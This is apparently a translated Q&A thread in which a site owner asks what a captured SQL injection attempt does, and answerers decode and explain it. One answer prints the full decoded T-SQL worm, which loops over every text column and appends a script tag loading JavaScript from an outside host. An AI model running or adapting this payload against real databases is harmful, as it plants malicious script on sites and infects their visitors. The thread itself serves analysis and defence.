Предпринятая атака с использованием кода на SQL - что они пытаются сделать?

22
задан Adam Bellaire 14 October 2008 в 11:36
поделиться

6 ответов

Ниже декодируемый SQL, который они пытались продвинуть:

DECLARE @T varchar(255),
        @C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b 
WHERE a.id=b.id 
AND a.xtype='u' 
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 

OPEN Table_Cursor FETCH NEXT 
FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
  BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
  FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END CLOSE Table_Cursor 

DEALLOCATE Table_Cursor
30
ответ дан 29 November 2019 в 03:58
поделиться

Код, когда расшифровано от шестнадцатеричного числа в символы, кажется, проходит все Ваши таблицы базы данных, выбирает все столбцы, которые имеют тип текста/символа, и в конце каждого значения этого типа добавляют злонамеренное выполнение сценария от http://www2.s800qn.cn/csrss/w.js. Теперь, если в Вашем веб-сайте, у Вас будет по крайней мере одно место, где Вы не выходите из текстовых полученных данных из своей базы данных, пользователям Вашего сайта выполнят этот злонамеренный сценарий на их машинах.

11
ответ дан 29 November 2019 в 03:58
поделиться

Выполните это, например, в mysql:

select CAST(0x44...72 AS CHAR(4000)) as a;

и Вы будете знать. Ishmaeel вставил код.

Это - червь SQLserver, не целенаправленное нападение.

7
ответ дан 29 November 2019 в 03:58
поделиться

Я думаю, что у нас было это нападение прежде. Это пытается вставить <script> тег в каждом поле в каждой таблице в базе данных.

5
ответ дан 29 November 2019 в 03:58
поделиться

Это - сценарий пипетки рекламного программного обеспечения, созданный для засорения базы данных с <script> теги, которые обнаруживаются на страницах. Это кодируется, потому что большинство серверов взорвалось бы, если бы Вы пытались продвинуть тот спам через URL.

Большинством вещей как это являются случайные нападения попытки, в которых они поразят что-либо querystring, но это могло бы быть целенаправленное нападение. Протестируйте свой сайт, чтобы удостовериться, что он не позволяет никакому SQL от querystrings выполниться. Просто использование параметрических запросов должно покрытие Вы.

3
ответ дан 29 November 2019 в 03:58
поделиться

Самый простой алгоритм Python для расшифровки шестнадцатеричного кода является этим:

text = "4445434C415245204054207661726368617228323535292C404..."

def getText():
    for i in range(0, len(text), 2):
        byte = text[i:i+2]
        char = int(byte, 16)
        toPrint = chr(char)
        yield toPrint

print ''.join(getText())
1
ответ дан 29 November 2019 в 03:58
поделиться
Другие вопросы по тегам:

Похожие вопросы: